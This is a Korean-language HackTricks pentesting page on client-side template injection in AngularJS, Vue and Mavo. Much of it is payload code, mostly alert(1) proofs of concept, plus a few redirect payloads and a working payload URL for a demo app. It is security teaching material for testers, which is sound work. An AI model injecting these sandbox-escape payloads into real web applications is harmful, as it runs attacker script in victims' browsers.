hacktricks/pentesting-web/client-side-template-injection-csti.md

<details>

<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong></summary>

HackTricks를 지원하는 다른 방법:

* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 웸**하면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.

</details>


# Summary

이것은 **서버 측 템플릿 인젝션**과 유사하지만 **클라이언트**에서 발생합니다. **SSTI**는 원격 서버에서 **코드를 실행**할 수 있게 해주지만, **CSTI**는 피해자의 브라우저에서 **임의의 JavaScript 코드를 실행**할 수 있게 합니다.

이 취약점에 대한 **테스트**는 **SSTI**의 경우와 매우 **유사**합니다. 해석기는 **템플릿**을 기대하고 실행할 것입니다. 예를 들어, `{{ 7-7 }}`와 같은 payload로, 앱이 **취약**하다면 `0`을 볼 수 있고, 그렇지 않으면 원본인 `{{ 7-7 }}`을 볼 수 있습니다.

# AngularJS

AngularJS는 HTML과 상호 작용하는 널리 사용되는 JavaScript 프레임워크로, **`ng-app`**과 같은 디렉티브로 알려진 속성을 통해 HTML과 상호 작용합니다. 이 디렉티브는 AngularJS가 HTML 콘텐츠를 처리하고 중괄호 안에 JavaScript 표현식을 실행할 수 있게 합니다.

사용자 입력이 `ng-app`으로 태그된 HTML 본문에 동적으로 삽입되는 시나리오에서 임의의 JavaScript 코드를 실행할 수 있습니다. 입력 내에서 AngularJS 구문을 활용하여 이를 달성할 수 있습니다. 아래는 JavaScript 코드가 실행되는 방법을 보여주는 예시입니다:
```javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
```
매우 **기본적인 온라인 예제**로 **AngularJS** 취약점을 [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/)에서 찾을 수 있으며 **[Burp Suite Academy](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)**에서도 확인할 수 있습니다.

{% hint style="danger" %}
[**Angular 1.6에서 샌드박스가 제거**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html#:\~:text=The%20Angular%20expression%20sandbox%20will,smaller%20and%20easier%20to%20maintain.\&text=Removing%20the%20expression%20sandbox%20does,surface%20of%20Angular%201%20applications.)되어 이 버전부터 `{{constructor.constructor('alert(1)')()}}` 또는 `<input ng-focus=$event.view.alert('XSS')>`와 같은 페이로드가 작동해야 합니다.
{% endhint %}

# VueJS

[https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh/)에서 **취약한 Vue** 구현을 찾을 수 있습니다.\
작동하는 페이로드: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)

그리고 취약한 예제의 **소스 코드**는 여기에서 확인할 수 있습니다: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
```markup
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
```
## **V3**

VUE에서 CSTI에 대한 매우 좋은 포스트를 찾을 수 있습니다. [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
```
{{_openBlock.constructor('alert(1)')()}}
```
크레딧: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)

## **V2**
```
{{constructor.constructor('alert(1)')()}}
```
Credit: [Mario Heiderich](https://twitter.com/cure53berlin)

**더 많은 VUE payloads를 확인하세요** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)

# Mavo

페이로드:
```
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
```
**더 많은 페이로드는** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)

# **무차별 대입 탐지 목록**

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}


<details>

<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

HackTricks를 지원하는 다른 방법:

* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.

</details>